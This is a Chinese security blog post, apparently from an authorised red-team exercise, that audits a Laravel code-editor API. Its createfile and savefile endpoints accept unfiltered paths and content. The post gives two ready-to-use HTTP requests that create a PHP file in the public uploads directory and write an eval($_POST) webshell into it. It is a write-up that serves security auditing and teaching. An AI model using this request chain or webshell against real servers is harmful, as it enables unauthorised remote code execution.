最近一次攻防中简单的代码审计

admin 2024年6月3日17:11:03评论22 views字数 2866阅读9分33秒阅读模式

前两天在攻防的时候,遇到一个目标,这个目标以前我打过,而且我的webshell还是存活的,但是漏洞修复了。于是我问裁判可以直接进行横向了吗,裁判说不可以,需要有完整可复现的攻击,历史shell不算。当然意思就是要通过其他漏洞来拿shell。于是就开始托源码来尝试代码审计了。

文件创建需要两个参数如图 filename和path 没有任何过滤

最近一次攻防中简单的代码审计

   /**
* @OAGet(
* path="/code-editor/createfile",
* tags={"代码编辑"},
* summary="新建文件",
* @OAParameter(
* description="目录路径",
* in="query",
* name="path",
* required=true,
* @OASchema(type="string"),
* @OAExamples(example="string", value=".env", summary="字符串."),
* ),
* @OAParameter(
* description="文件名",
* in="query",
* name="file_name",
* required=true,
* @OASchema(type="string"),
* @OAExamples(example="string", value=".env", summary="字符串."),
* ),
* @OAResponse(response="200", description="成功返回的结果集"),
* @OAResponse(response=401, description="Unauthorized"),
* )
*/
public function createFile(Request $request)
{
$disk = Storage::disk('www');
$fileName = $request->file_name ?? null;
$path = $request->path ?? '/';
if (!$fileName) {
return $this->badRequest('文件名不能为空');
}
$filePath = $path . '/' . $fileName;
$disk->put($filePath, '');
return $this->dataSuccess(['message' => '文件创建成功']);
}

文件编辑也是两个参数path和content(文件内容) 路径和内容也是没有过滤最近一次攻防中简单的代码审计

    /**
* @OAPost(
* path="/code-editor/savefile",
* tags={"代码编辑"},
* summary="保存文件",
* @OAParameter(
* description="保存文件",
* in="query",
* name="path",
* required=true,
* @OASchema(type="string"),
* @OAExamples(example="string", value=".env", summary="字符串."),
* ),
* @OAResponse(response="200", description="成功返回的结果集"),
* @OAResponse(response=401, description="Unauthorized"),
* )
*/
public function saveFile(Request $request)
{
$disk = Storage::disk('www');
$path = $request->path ?? '/';
$content = $request->content; //先考虑用put
$disk->put($path, $content); //写入
return $this->dataSuccess(['message' => '保存成功', 200]);
}

开始构造两个数据包即可创建webshell

GET /api/code-editor/createfile?file_name=asdfasd.php&path=/public/storage/uploads/2024/05/29/ HTTP/2
Host:
Xweb_xhr: 1
Accept-Language: zh-CN,zh;q=0.9
Accept: */*
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555

POST /api/code-editor/savefile HTTP/2
Host:
Xweb_xhr: 1
Accept-Language: zh-CN,zh;q=0.9
Accept: */*
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555
Content-Type: application/x-www-form-urlencoded
Content-Length: 88

content=<?php
eval($_POST["ting"]);&path=/public/storage/uploads/2024/05/29/asdfasd.php

最近一次攻防中简单的代码审计

目前我们wingby团队建了一个对外公开交流群,这里可以和师傅们交流SRC、红队项目经验、护网经验、免杀、安全开发、代码审计、红蓝对抗等等,期待各位师傅们的加入。团队师傅银联SRC5月特别活动打下10800积分,收揽榜一,银联四月榜团队中两位师傅位居前五。有在某厂红队实习的大学生,也有网安4年经验、参加各级别护网的大黑客。

由于目前群满200了,需要进群的师傅,请添加微信,并备注加群即可

最近一次攻防中简单的代码审计

原文始发于微信公众号(Ting丶的安全笔记):最近一次攻防中简单的代码审计

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月3日17:11:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   最近一次攻防中简单的代码审计http://cn-sec.com/archives/2809883.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息